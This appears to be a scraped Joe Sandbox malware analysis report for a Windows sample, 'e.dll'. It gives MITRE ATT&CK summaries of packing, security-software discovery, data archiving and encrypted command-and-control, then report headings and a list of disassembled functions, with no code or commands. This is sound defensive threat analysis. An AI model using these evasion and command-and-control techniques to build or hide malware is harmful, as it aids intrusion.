Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
e.dll

Function 0040BAC0 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 27AC1120 Relevance: 96.8, APIs: 42, Strings: 13, Instructions: 569
encryptionprocessmemoryCOMMON

Function 051B22A0 Relevance: 9.0, Strings: 2, Instructions: 6457
COMMON

Function 03290005 Relevance: 6.3, APIs: 4, Instructions: 336
memorylibraryloaderCOMMON

Function 050922A8 Relevance: 3.2, APIs: 2, Instructions: 172
memoryCOMMON

Function 051BA660 Relevance: 1.7, APIs: 1, Instructions: 199
memoryCOMMON

Function 051BA900 Relevance: 1.7, APIs: 1, Instructions: 188
memoryCOMMON

Function 051B2084 Relevance: 1.7, APIs: 1, Instructions: 157
nativethreadCOMMON

Function 05091EAF Relevance: 1.6, APIs: 1, Instructions: 302
memoryCOMMON